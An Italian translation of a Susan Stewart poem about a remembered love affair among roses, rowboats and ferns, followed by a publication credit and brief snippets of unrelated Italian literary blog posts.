il nastro dei suoi capelli impigliato a un pino
—Il mondo intero si preoccupa di un amante
quando il mondo intero sembra essere un segno.
Attraversai il fiume verdeggiante
e mi lasciai sospingere fino alla sua porta.
Lei mi promise un ritratto delle rose:
Forever Pearl, Malakoff’s Tour,
Gloire de Dijon, e Maréchal,
Souvenir of Malmaison;
Io non le promisi altro che guai—
il mio être non aveva raison.
Le sue galline beccarono il grano dalle mie tasche:
il suo gatto mangiò il grasso del latte.
Serviva un buono per il caffè, così
le portai delle ciliegie nel cappello.
Lei ripose gli acquerelli nella barca a remi—
io gettai i miei libri a poppa;
I remi gocciarono blu sulle nostre scarpe
e noi ci inclinammo di lato a un letto di felci.
La governante pazza sfondò la tettoia del portico
mentre la giostra andava avanti senza sosta.
Un cannone sparò in lontananza
(o fu un tuono?)—ognuno sentì il botto.
Quanto a noi, continuavamo a cadere, più a fondo
delle maree e della luna,
Più a fondo di una cava e di un pozzo,
e delle ombre che si celano a mezzogiorno.
Tutta questa foga fece protrarre il canto dei galli—
lei mi lasciò scegliere un tavolo e una sedia,
Il legno d’olivo brillò nelle braci:
lei lasciò che le sciogliessi i capelli.
‘Gli baciai l’orecchio e il gomito’, cantò lei,
‘e il lato setoso della coscia.
Gli baciai le ginocchia, gli baciai la bocca
e allora lui accennò un arrivederci.’
Il nostro povero spirito si approntò,
lesto e lucente come una falena.
‘Vergognoso’, dissero, ‘illegale
— una promessa, alla fine, è una promessa.’
L’amore è una sbandata e gli amanti bugiardi,
il padre piange, la madre sospira.
I vagoni stanno girando in cerchio
sotto il pavimento della camera da letto.
Uno ride troppo,
l’altro piange.
Il caprifoglio disperse il suo nettare
e la galline mangiarono il grano al chiuso.
Il gelo appianò le sponde di felci
e il ghiaccio s’ispessì sui remi.
Io vidi il volto di lei nell’acqua.
Io vidi il volto di lui nel vetro.
Alcuni di noi vivono nel presente,
e alcuni di noi vivono nel passato,
Ma sono i lustrascarpe a marciare verso il futuro,
a calpestare l’erba estiva.
Le voci bisbigliano le loro rimostranze —
colpa mia se ero troppo giovane per la guerra?
Una pioggia torbida rovina ogni picnic,
ma i campi sono assetati, i contadini poveri.
Copyright © 2017 di Susan Stewart
Traduzione inedita di Maria Cristina Biggio,
da CINDER: New and Selected Poems (Graywolf Press, 2017)
L'articolo Susan Stewart, la regina della lirica Usa: “In questi tempi oscuri, la poesia è luce” proviene da Pangea.
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Nascita della madre
è inesplicabile che il destino abbia scelto un epicureo per ripetere questa favola pia ed empia, intessuta di poesia, di ignoranza, di acutezza temeraria, e della tristezza non medicabile che cresce sulle rovine delle civiltà perdute. Primo Levi, LILÍT
Inizia con oggi la pubblicazione di alcuni estratti da La favola di Lilith sul sito Il cucchiaio nell’orecchio. Si tratta di un…
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Ringrazio di cuore la poetessa e giornalista Luigia Sorrentino per l'approfondita intervista che mi ha fatto su "Poesia", il suo blog sul portale di RaiNews24, sul mio lavoro di scrittore e più specificamente sulla forma di "realismo arricchito" che contraddistingue i miei romanzi. (http://poesia.blog.rainews.it/2017/05/il-realismo-arricchito-nella-ricerca-letteraria-di-giovanni-agnoloni/)
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